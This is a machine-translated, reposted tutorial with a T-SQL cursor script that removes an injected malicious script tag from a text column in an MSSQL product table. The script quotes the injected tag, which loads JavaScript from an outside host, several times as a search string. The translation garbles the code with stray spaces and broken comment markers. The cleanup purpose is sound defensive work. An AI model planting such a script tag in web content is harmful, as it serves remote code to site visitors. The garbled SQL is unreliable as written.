Delete malicious scripts in the text field of the MSSQL database

Source: Internet
Author: User

The method is simple: Replace cannot be used for text fields, so patindex is used.
Copy codeThe Code is as follows:
-Select * from Product where P_Intro like '% <script src = "http://my.stsw518.cn/a002/1.js" src = "http://my.stsw518.cn/a002/1.js"> </script> %'
-- Example of text field replacement -- full table replacement
-- Select datalength (P_Intro), * from Product
-- Monthly invitations
-- Define the replaced string
Declare @ s_str nvarchar (4000), @ d_str nvarchar (4000)
Select @ s_str = '<script src = "http://my.stsw518.cn/a002/1.js" src = "http://my.stsw518.cn/a002/1.js"> </script>' -- string to be replaced
, @ D_str = ''-- string to be replaced


-- Because only patindex can be used, search strings are processed.
Set @ s_str = '%' + @ s_str + '%'

-- Define a cursor to process data cyclically
Declare @ id bigint
Declare # tb cursor for select P_ID from Product where P_Intro like '% <script src = "http://my.stsw518.cn/a002/1.js" src = "http://my.stsw518.cn/a002/1.js"> </script> %'
-- Where P_ID = 300727 ---- where P_Intro like '% <script src = "http://my.stsw518.cn/a002/1.js" src = "http://my.stsw518.cn/a002/1.js"> </script> %'
Open # tb
Fetch next from # tb into @ id
While @ fetch_status = 0
Begin
-- String replacement
Declare @ p varbinary (16)
, @ P1 int, @ p2 int
, @ Rplen int, @ step int, @ len int

Select @ p = textptr (P_Intro)
, @ Rplen = len (@ s_str)-2
, @ Step = len (@ d_str)
, @ P1 = patindex (@ s_str, P_Intro)
, @ Len = datalength (P_Intro)
, @ P2 = 0
From Product
Where P_id = @ id

While @ p1> 0
Begin
Set @ p2 =@p1 + @ p2-1
Updatetext Product. P_Intro @ p @ p2 @ rplen @ d_str
Select @ p2 = @ p2 + 1, @ p1 = patindex (@ s_str, substring (P_Intro, @ p2 + 1, @ len ))
From Product where P_ID = @ id
End
Fetch next from # tb into @ id
End
Close # tb
Deallocate # tb

-- Display Results
---- Select datalength (P_Intro), * from Product

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.